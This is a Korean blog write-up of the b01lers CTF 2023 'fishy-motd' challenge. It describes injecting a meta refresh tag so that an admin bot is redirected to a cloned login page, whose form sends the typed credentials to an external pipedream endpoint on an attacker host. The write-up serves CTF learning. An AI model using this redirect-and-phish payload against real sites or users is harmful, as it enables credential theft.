-
[Clear] b01ler CTF 2023 fishy-motd writeupCTF/b01lers CTF 2023 2023. 3. 20. 23:31
주어진 URL에 접속해보면 메시지를 입력하여 MOTD(Message of the Day 인듯 하다) 를 생성 할 수 있는 입력창이 나타난다.
Create를 하면 Preview와 Deploy가 있는데, Deploy를 하면 봇이 MOTD가 포함된 로그인 페이지에서 자동으로 로그인을 수행하도록 구성되어있다.
Preview같은 경우 봇이 자동 로그인을 할 때 사용하는 페이지를 보여주는 듯 하다.
또한, 문제의 최종 목적은 로그인을 하여 플래그를 획득 하는 것이다.
server.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; if (username === user && password === pass) { res.send(flag); } else { res.send('Incorrect username or password'); } });
처음에는 스크립트를 삽입하여 서버가 입력하는 Username 과 Password를 공격자의 서버로 전송하는 스크립트를 실행시킴으로써 계정을 탈취해보려고 시도했다.
하지만 아래와 같이 CSP가 설정되어있어서 스크립트 삽입을 통한 공격은 할 수 없었다.
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'; form-action 'self'" />
따라서, 다른 방법을 찾아보기 위해 봇의 작동 방식을 좀 더 구체적으로 파악해보았다.
const adminBot = async (id) => { const browser = await puppeteer.launch({ headless: true, // Uncomment below if the sandbox is causing issues // args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process'] }) const page = await browser.newPage(); # 봇이 브라우저 오픈 await page.setViewport({ width: 800, height: 600 }); const url = `http://localhost:${port}/login?motd=${id}`; await page.goto(url); await page.mouse.click(10, 10); # 피싱 벡터(사용자 입력 값) await new Promise(r => setTimeout(r, 1000)); # 1초 대기 후 다른 페이지 넘어간다면 종료 ## 우회해야할 포인트 try { if (url !== await page.evaluate(() => window.location.href)) { return { error: "Hey! Something's fishy here!" }; } } catch (err) { return { error: "Hey! Something's fishy here!" }; } await new Promise(r => setTimeout(r, 5000)); # 5초 대기 await page.mouse.click(420, 280); # await page.keyboard.type(user); # ID 입력 await page.mouse.click(420, 320); # await page.keyboard.type(pass); # 패스워드 입력 await page.mouse.click(420, 360); # 로그인 시도 await new Promise(r => setTimeout(r, 1000)); await browser.close(); messages[id] = undefined; return { error: null }; }
작성한 주석의 내용처럼 봇이 작동을 하므로, 이를 우회하여 계정 탈취를 할 수 있는 시나리오를 구성해보았다.
우선, 봇이 1초동안 대기 후에 다른 페이지로 이동되지 않으면 종료되지 않고 다음 라인을 실행한다.
그 직후 라인이 5초동안 대기 후 ID,PW 입력하여 로그인을 하는 것이므로
문제에서 제공하는 로그인 페이지와 동일한 피싱 페이지를 만들어 1초 이후에 이동 되도록 한다면
봇이 피싱 페이지에서 ID,PW 를 입력하도록 유도함으로써 계정을 탈취 할 수 있을것이다.
위 시나리오를 실행하기에 앞서 스크립트 사용이 불가능한 환경에서 일정 시간 후 페이지를 이동시키는 방법이 있을지에 대해 조사해보았다.
입력 값중에 별도 html 태그들에 대한 필터링은 없었기 때문에 조사를 해보다가 meta태그에서 해당 기능을 수행 할 수 있음을 확인하였다.
http://www.tcpschool.com/html-tags/meta
코딩교육 티씨피스쿨
4차산업혁명, 코딩교육, 소프트웨어교육, 코딩기초, SW코딩, 기초코딩부터 자바 파이썬 등
tcpschool.com
해당 방법을 사용하기로 하고, 피싱 URL을 구성하였다. UI 가 동일해야하므로 문제 파일에서 style.css와 login.html을 그대로 사용하였고, index.html만 약간 수정하였다.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'; form-action *" /> <!-- ##### 데이터를 외부로 전달(requestbin 사용)하기 위해 form-action * 로 변경 --> <link rel="stylesheet" href="style.css"> <title>Login</title> </head> <body> <nav> <span> Vardy </span> </nav> <form class="main" action="https://eo8mcjpd1878rcy.m.pipedream.net/" method="post"> <!-- ##### action 경로 수정 --> <div> <label for="username">Username:</label> <input type="text" id="username" name="username"> </div> <div> <label for="password">Password:</label> <input type="password" id="password" name="password"> </div> <input type="submit" value="Login" class="button"> </form> </body> </html>
그리고 앞서 언급한 meta tag의 refresh를 이용하여 Bot이 4초뒤 공격자의 피싱 페이지로 리다이렉트 되도록 하였다.
<meta http-equiv="refresh" content="4;url=http://118.32.182.139:9108/phishing.html">
해당 방법이 유효하여 계정 정보를 탈취 할 수 있었고, 이를 활용하여 플래그를 획득 할 수 있었다.
FLAG = bctf{ph15h1ng_reel_w1th_0n3_e}
반응형'CTF > b01lers CTF 2023' 카테고리의 다른 글
[Clear] b01lers CTF 2023 warmup writeup (0) 2023.03.20